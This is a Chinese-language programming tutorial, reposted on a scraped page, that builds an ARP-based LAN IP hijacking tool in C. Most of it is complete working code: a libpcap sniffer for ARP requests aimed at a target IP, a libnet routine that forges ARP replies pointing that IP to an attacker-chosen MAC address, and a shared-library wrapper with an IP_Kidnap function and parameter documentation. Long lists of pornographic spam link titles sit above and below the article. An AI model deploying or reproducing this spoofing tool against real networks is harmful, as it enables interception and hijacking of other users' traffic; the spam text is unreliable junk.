亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 學院 > 操作系統 > 正文

基于ARP的局域網IP劫持——C語言實現

2024-06-28 13:26:40
字體:
來源:轉載
供稿:網友
基于ARP的局域網ip劫持——C語言實現

我站在 烈烈風中

恨不能 蕩盡綿綿心痛

望蒼天 四方云動

劍在手

問天下誰是英雄

——《霸王別姬》

閱讀這篇文章之前,請確認已經熟悉ARP報文偽造的方法,可參考《ARP數據包偽造》。

請看下圖,這是全篇文章的鳥瞰:

要想實現上圖的工作流程,必須實現兩個模塊:

•自由的偽造ARP報文

•抓取并分析所有流經網卡的數據包

從上圖中可以看出,我們可以通過BPF或者DLPI層實現數據包的抓取分析,而tcpdump的根基——libpcap庫,正是對BPF層的二次封裝實現的C庫,我們將通過它來實現數據包的抓取分析。

關于libpcap的基礎使用,請參考這篇文章《libpcap使用》。

下面給出一個簡單的libpcap過濾抓包的程序:

 1 #include <pcap.h> 2 #include <time.h> 3 #include <stdlib.h> 4 #include <stdio.h> 5  6 unsigned char glTargetIP[4]={192,168,1,99}; 7 char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast "; 8 unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff }; 9 char * glNICStr="eth2";10 11 void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)12 {13   int * id = (int *)arg;14   unsigned char * src_ip =glTargetIP;15   unsigned char * src_mac=glRetargetMac;16   unsigned char * dst_ip =packet+28;17   unsigned char * dst_mac=packet+22;18 19   PRintf("id: %d/n", ++(*id));20   printf("Packet length: %d/n", pkthdr->len);21   printf("Number of bytes: %d/n", pkthdr->caplen);22   printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec)); 23   24   int i;25   for(i=0; i<pkthdr->len; ++i)26   {27     printf(" %02x", packet[i]);28     if( (i + 1) % 16 == 0 )29     {30       printf("/n");31     }32   }33   34   printf("/n/n");35 }36 37 int main ()38 {39   char errBuf[PCAP_ERRBUF_SIZE], * devStr;40   struct bpf_program filter;41 42   /* get a device */43   devStr = pcap_lookupdev(errBuf);44   45   if(devStr)46   {47     printf("success: device: %s/n", devStr);48   }49   else50   {51     printf("error: %s/n", errBuf);52     exit(1);53   }54   55   /* open a device, wait until a packet arrives */56   pcap_t * device = pcap_open_live(glNICStr, 65535, 1, 0, errBuf);57   58   if(!device)59   {60     printf("error: pcap_open_live(): %s/n", errBuf);61     exit(1);62   }63   /* set filter */64   pcap_compile( device,&filter,glBpfCmd,1,0 );  65   pcap_setfilter(device ,&filter );66   /* wait loop forever */67   int id = 0;68   pcap_loop(device, -1, getPacket, (u_char*)&id);69   70   pcap_close(device);71 72   return 0;73 }
View Code
gcc name.c -lpcap -o name

結合ARP報文偽造模塊,下面給出完整實現代碼:

  1 #include <pcap.h>  2 #include <time.h>  3 #include <stdlib.h>  4 #include <stdio.h>  5   6 #include <stdio.h>  7 #include <stdlib.h>  8 #include <string.h>  9 #include <unistd.h> 10 #include <libnet.h> 11  12 #define MAC_ADDR_LEN 6 13 #define IP_ADDR_LEN 4 14  15  16 unsigned char glTargetIP[4]={192,168,1,99}; 17 char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast "; 18 unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff }; 19 char * glNICStr="eth2"; 20  21 int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac, 22     unsigned  char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes ) 23  { 24          static char padPtr[18]; 25          libnet_t *net_t = NULL;  26          char err_buf[LIBNET_ERRBUF_SIZE]; 27          libnet_ptag_t p_tag;  28          unsigned int i=0; 29   30          printf("the src_ip_str is ,uint32 src_ip is %d/n",src_ip); 31          printf("the dst_ip_str is ,uint32 dst_ip is %d/n",dst_ip); 32           33          net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);      34          if(net_t == NULL) 35          { 36                  printf("libnet_init error/n"); 37                  return 2; 38          } 39   40          p_tag = libnet_build_arp( 41                          ARPHRD_ETHER,//hardware type ethernet 42                          ETHERTYPE_IP,//protocol type 43                          MAC_ADDR_LEN,//mac length 44                          IP_ADDR_LEN,//protocol length 45                          arpOp,//op type 46                          (u_int8_t *)src_mac,//source mac addr 47                          (u_int8_t *)src_ip,//source ip addr 48                          (u_int8_t *)dst_mac,//dest mac addr 49                          (u_int8_t *)dst_ip,//dest ip  addr 50                          padPtr,//payload 51                          18,//payload length 52                          net_t,//libnet context 53                          0//0 stands to build a new one 54          ); 55           56          if(-1 == p_tag) 57          { 58                  printf("libnet_build_arp error/n"); 59                  libnet_destroy(net_t); 60                  return 3; 61          } 62   63          p_tag = libnet_build_ethernet(//create ethernet header 64                          (u_int8_t *)dst_mac,//dest mac addr 65                          (u_int8_t *)src_mac,//source mac addr 66                          ETHERTYPE_ARP,//protocol type 67                         padPtr,//payload 68                         0,//payload length 69                          net_t,//libnet context 70                          0//0 to build a new one 71          ); 72   73          if(-1 == p_tag) 74          { 75                  printf("libnet_build_ethernet error!/n"); 76                  libnet_destroy(net_t); 77                  return 4; 78          } 79           80          int res; 81          i=0; 82          for(;i<sendTimes;i++) 83            if(-1 == (res = libnet_write(net_t))) 84            { 85                  printf("libnet_write error!/n"); 86                  libnet_destroy(net_t); 87                  return 5; 88            } 89           90          libnet_destroy(net_t); 91          return 0; 92  FAIL:         93          libnet_destroy(net_t); 94                  return 6; 95  } 96 void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet) 97 { 98   int * id = (int *)arg; 99   unsigned char * src_ip =glTargetIP;100   unsigned char * src_mac=glRetargetMac;101   unsigned char * dst_ip =packet+28;102   unsigned char * dst_mac=packet+22;103   104   ForgeAndSendArp(glNICStr,src_mac,dst_mac,src_ip,dst_ip,ARPOP_REPLY,1); 105 106   printf("id: %d/n", ++(*id));107   printf("Packet length: %d/n", pkthdr->len);108   printf("Number of bytes: %d/n", pkthdr->caplen);109   printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec)); 110   111   int i;112   for(i=0; i<pkthdr->len; ++i)113   {114     printf(" %02x", packet[i]);115     if( (i + 1) % 16 == 0 )116     {117       printf("/n");118     }119   }120   121   printf("/n/n");122 }123 124 int main ()125 {126   char errBuf[PCAP_ERRBUF_SIZE], * devStr;127   struct bpf_program filter;128 129   /* get a device */130   devStr = pcap_lookupdev(errBuf);131   132   if(devStr)133   {134     printf("success: device: %s/n", devStr);135   }136   else137   {138     printf("error: %s/n", errBuf);139     exit(1);140   }141   142   /* open a device, wait until a packet arrives */143   pcap_t * device = pcap_open_live(glNICStr, 65535, 1, 0, errBuf);144   145   if(!device)146   {147     printf("error: pcap_open_live(): %s/n", errBuf);148     exit(1);149   }150   /* set filter */151   pcap_compile( device,&filter,glBpfCmd,1,0 );  152   pcap_setfilter(device ,&filter );153   /* wait loop forever */154   int id = 0;155   pcap_loop(device, -1, getPacket, (u_char*)&id);156   157   pcap_close(device);158 159   return 0;160 }
View Code

這個工具的驗證結果已經在文章鳥瞰圖中給出。

下面,我們將這段代碼封裝成為一個共享庫,以供其他程序調用。

  1 //  # gcc name.c -lnet -lpcap -shared -fPIC -o name.so  2 #include <pcap.h>  3 #include <time.h>  4 #include <stdlib.h>  5 #include <stdio.h>  6   7 #include <stdio.h>  8 #include <stdlib.h>  9 #include <string.h> 10 #include <unistd.h> 11 #include <libnet.h> 12  13 #define MAC_ADDR_LEN 6 14 #define IP_ADDR_LEN 4 15  16  17 static unsigned char * glTargetIP; 18 static char * glBpfCmd; 19 static unsigned char * glRetargetMac; 20 static char * glListenNICStr; 21 static char * glSendNICStr; 22  23  24 int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac, 25     unsigned  char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes ) 26  { 27          static char padPtr[18]; 28          libnet_t *net_t = NULL;  29          char err_buf[LIBNET_ERRBUF_SIZE]; 30          libnet_ptag_t p_tag;  31          unsigned int i=0; 32   33          printf("the src_ip_str is ,uint32 src_ip is %d/n",src_ip); 34          printf("the dst_ip_str is ,uint32 dst_ip is %d/n",dst_ip); 35           36          net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);      37          if(net_t == NULL) 38          { 39                  printf("libnet_init error/n"); 40                  return 2; 41          } 42   43          p_tag = libnet_build_arp( 44                          ARPHRD_ETHER,//hardware type ethernet 45                          ETHERTYPE_IP,//protocol type 46                          MAC_ADDR_LEN,//mac length 47                          IP_ADDR_LEN,//protocol length 48                          arpOp,//op type 49                          (u_int8_t *)src_mac,//source mac addr 50                          (u_int8_t *)src_ip,//source ip addr 51                          (u_int8_t *)dst_mac,//dest mac addr 52                          (u_int8_t *)dst_ip,//dest ip  addr 53                          padPtr,//payload 54                          18,//payload length 55                          net_t,//libnet context 56                          0//0 stands to build a new one 57          ); 58           59          if(-1 == p_tag) 60          { 61                  printf("libnet_build_arp error/n"); 62                  libnet_destroy(net_t); 63                  return 3; 64          } 65   66          p_tag = libnet_build_ethernet(//create ethernet header 67                          (u_int8_t *)dst_mac,//dest mac addr 68                          (u_int8_t *)src_mac,//source mac addr 69                          ETHERTYPE_ARP,//protocol type 70                         padPtr,//payload 71                         0,//payload length 72                          net_t,//libnet context 73                          0//0 to build a new one 74          ); 75   76          if(-1 == p_tag) 77          { 78                  printf("libnet_build_ethernet error!/n"); 79                  libnet_destroy(net_t); 80                  return 4; 81          } 82           83          int res; 84          i=0; 85          for(;i<sendTimes;i++) 86            if(-1 == (res = libnet_write(net_t))) 87            { 88                  printf("libnet_write error!/n"); 89                  libnet_destroy(net_t); 90                  return 5; 91            } 92           93          libnet_destroy(net_t); 94          return 0; 95  FAIL:         96          libnet_destroy(net_t); 97                  return 6; 98  } 99 void static getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)100 {101   int * id = (int *)arg;102   unsigned char * src_ip =glTargetIP;103   unsigned char * src_mac=glRetargetMac;104   unsigned char * dst_ip =packet+28;105   unsigned char * dst_mac=packet+22;106   107   ForgeAndSendArp(glSendNICStr,src_mac,dst_mac,src_ip,dst_ip,ARPOP_REPLY,1); 108 109   printf("id: %d/n", ++(*id));110   printf("Packet length: %d/n", pkthdr->len);111   printf("Number of bytes: %d/n", pkthdr->caplen);112   printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec)); 113   114   int i;115   for(i=0; i<pkthdr->len; ++i)116   {117     printf(" %02x", packet[i]);118     if( (i + 1) % 16 == 0 )119     {120       printf("/n");121     }122   }123   124   printf("/n/n");125 }126 127 /* args example128 static unsigned char glTargetIP[4]={192,168,1,99};129 static char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";130 static unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };131 static char * glListenNICStr="eth2";132 static char * glSendNICStr="eth2";133 */134 int IP_Kidnap ( unsigned char * TargetIP,char * BpfCmd,135           unsigned char * RetargetMac,char * sendNICStr ,char * listenNICStr  )136 {137   char errBuf[PCAP_ERRBUF_SIZE], * devStr;138   struct bpf_program filter;139   glTargetIP=TargetIP;140   glBpfCmd=BpfCmd;141   glRetargetMac=RetargetMac;142   glSendNICStr=sendNICStr;143   glListenNICStr=listenNICStr;144 145   /* get a device */146   devStr = pcap_lookupdev(errBuf);147   148   if(devStr)149   {150     printf("success: device: %s/n", devStr);151   }152   else153   {154     printf("error: %s/n", errBuf);155     exit(1);156   }157   158   /* open a device, wait until a packet arrives */159   pcap_t * device = pcap_open_live(glListenNICStr, 65535, 1, 0, errBuf);160   161   if(!device)162   {163     printf("error: pcap_open_live(): %s/n", errBuf);164     exit(1);165   }166   /* set filter */167   pcap_compile( device,&filter,glBpfCmd,1,0 );  168   pcap_setfilter(device ,&filter );169   /* wait loop forever */170   int id = 0;171   pcap_loop(device, -1, getPacket, (u_char*)&id);172   173   pcap_close(device);174 175   return 0;176 }

編譯后的結果:

函數原型:

int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,    unsigned  char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes )/*  dev : pointer to nic name, "eth0" for example.  src_mac : pointer to uchar array[6],like'unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };'  dst_mac : similar as src_mac  src_ip : pointer to uchar array[4],like'unsigned char glTargetIP[4]={192,168,1,99};'  dst_ip : similar as src_ip  arpOp : ARPOP_REQUEST for 1,ARPOP_REPLY for 2,i.e.  sendTimes : how many times this packet you want to send*/
int IP_Kidnap ( unsigned char * TargetIP,char * BpfCmd,          unsigned char * RetargetMac ,char * listenNICStr ,char * sendNICStr  )/*TargetIP: the IP you want kidnap, like ' unsigned char TargetIP[4]={192,168,1,99}; 'BpfCmd : bpf filter cmd,like 'char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";'RetargetMac: which mac addr you want to retarget, like ' unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };'ListenNICStr: which nic you want listen,like ' char * glListenNICStr="eth2";'SendNICStr : which nic you want the forged-packet send out,like ' char * glSendNICStr="eth2";'*/

附錄:

參考文章 《libpcap使用》《ARP數據包偽造》


發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
国产丝袜高跟一区| 久久久久久亚洲精品不卡| 久久免费观看视频| 欧美成人sm免费视频| 91精品国产高清久久久久久91| 国产精品精品久久久久久| 亚洲男子天堂网| 91热精品视频| 欧美性资源免费| 久久色免费在线视频| 色综合亚洲精品激情狠狠| 国产精品中文字幕在线观看| 国产做受高潮69| 中文字幕日韩欧美精品在线观看| 中文字幕日本欧美| 欧美极品少妇与黑人| 国产成人a亚洲精品| 日韩成人性视频| 91成人国产在线观看| 91精品综合久久久久久五月天| 这里精品视频免费| 亚洲欧洲自拍偷拍| 精品丝袜一区二区三区| 在线精品高清中文字幕| 日本人成精品视频在线| 亚洲网站在线观看| 91久久在线视频| 日韩av免费一区| 久久综合色影院| 久久久久久久久久久久av| 中文字幕日韩在线播放| 91精品久久久久久久久久久| 97热在线精品视频在线观看| 亚洲成人黄色在线观看| 久久不射热爱视频精品| 91精品国产高清久久久久久| 一区二区成人精品| 欧美精品一区在线播放| 国产精品亚洲第一区| 成人在线精品视频| 日韩成人在线视频观看| 亚洲国产精品免费| 欧美中文在线观看国产| 国产精品日韩电影| 日韩中文字幕在线免费观看| 亚洲国产毛片完整版| 91精品国产91久久久久久吃药| 久久精品国产亚洲精品| 亚洲成人精品久久久| 国产精品精品视频| 色伦专区97中文字幕| 国产精品一区二区三区在线播放| 永久免费看mv网站入口亚洲| 久热爱精品视频线路一| 久久久精品日本| 亚洲国产精品电影| 日韩在线视频线视频免费网站| 色综合久久悠悠| 色樱桃影院亚洲精品影院| 欧美日韩裸体免费视频| 国产成人久久久精品一区| 亚洲视频网站在线观看| 日av在线播放中文不卡| 精品久久久免费| 欧美大片免费观看在线观看网站推荐| 亚洲成人网在线观看| 欧美精品免费在线| 91av网站在线播放| 久久人人爽亚洲精品天堂| www高清在线视频日韩欧美| 成人久久久久久| 夜夜狂射影院欧美极品| 色偷偷91综合久久噜噜| 亚洲自拍高清视频网站| 国产精品wwww| 亚洲精品美女网站| 久久精品色欧美aⅴ一区二区| 久久九九全国免费精品观看| 欧美久久精品一级黑人c片| 欧美黑人巨大xxx极品| 欧美精品videos另类日本| 亚洲日本中文字幕免费在线不卡| 国产一区二区三区日韩欧美| 国产精品偷伦一区二区| 亚洲精品按摩视频| 久久久久久久久亚洲| 亚洲欧美激情一区| 亚洲精品日韩在线| 欧美成人免费大片| 国产精品久久久久久久久久久久久久| 精品亚洲国产视频| 国产视频精品自拍| 亚州精品天堂中文字幕| 911国产网站尤物在线观看| 成人中文字幕+乱码+中文字幕| 欧美精品免费播放| 91手机视频在线观看| 久久成人综合视频| 欧美精品成人在线| 欧美理论片在线观看| 中文精品99久久国产香蕉| 欧美激情视频在线免费观看 欧美视频免费一| 日韩黄色av网站| 亚洲小视频在线| 午夜免费日韩视频| 国产精品一区二区久久久久| 日本成人激情视频| 51久久精品夜色国产麻豆| 久久久欧美精品| 国产情人节一区| 78m国产成人精品视频| 亚洲成人久久电影| 色在人av网站天堂精品| 久久久久久久一区二区| 国产日韩中文字幕| 国产玖玖精品视频| 亚洲黄页网在线观看| 日韩欧美国产中文字幕| 欧美国产激情18| 亚洲人高潮女人毛茸茸| 日韩视频亚洲视频| 午夜精品视频在线| 国产精品99久久久久久久久| 91亚洲精品在线| 国产免费亚洲高清| 国产成人精品一区二区| 国产www精品| 国产精品av免费在线观看| 亚洲跨种族黑人xxx| 国产精品96久久久久久又黄又硬| 亚洲精品福利免费在线观看| 久久天天躁狠狠躁夜夜爽蜜月| 欧美激情精品久久久久久变态| 一区二区三区视频免费在线观看| 91久久在线观看| 欧美精品videossex性护士| 国外色69视频在线观看| 精品国产一区二区三区四区在线观看| 亚洲第一精品自拍| 国产成人一区二区在线| 久久天天躁狠狠躁夜夜躁2014| 国产精品久久久久久久久| 亚洲午夜激情免费视频| 国产成人综合av| 日本精品va在线观看| 黑人精品xxx一区一二区| 日本午夜在线亚洲.国产| 午夜精品久久17c| 欧美激情精品久久久久久久变态| 欧美激情中文网| 欧美一级视频免费在线观看| 亚洲欧美激情精品一区二区| 91精品综合视频| 久久中国妇女中文字幕| 91国产精品电影| 中文字幕日韩在线播放| 亚洲乱码国产乱码精品精天堂| 国产日本欧美一区| 午夜精品99久久免费| 午夜精品久久久久久久99热浪潮| 88国产精品欧美一区二区三区| 亚洲偷欧美偷国内偷| 亚洲欧美另类人妖| 亚洲已满18点击进入在线看片|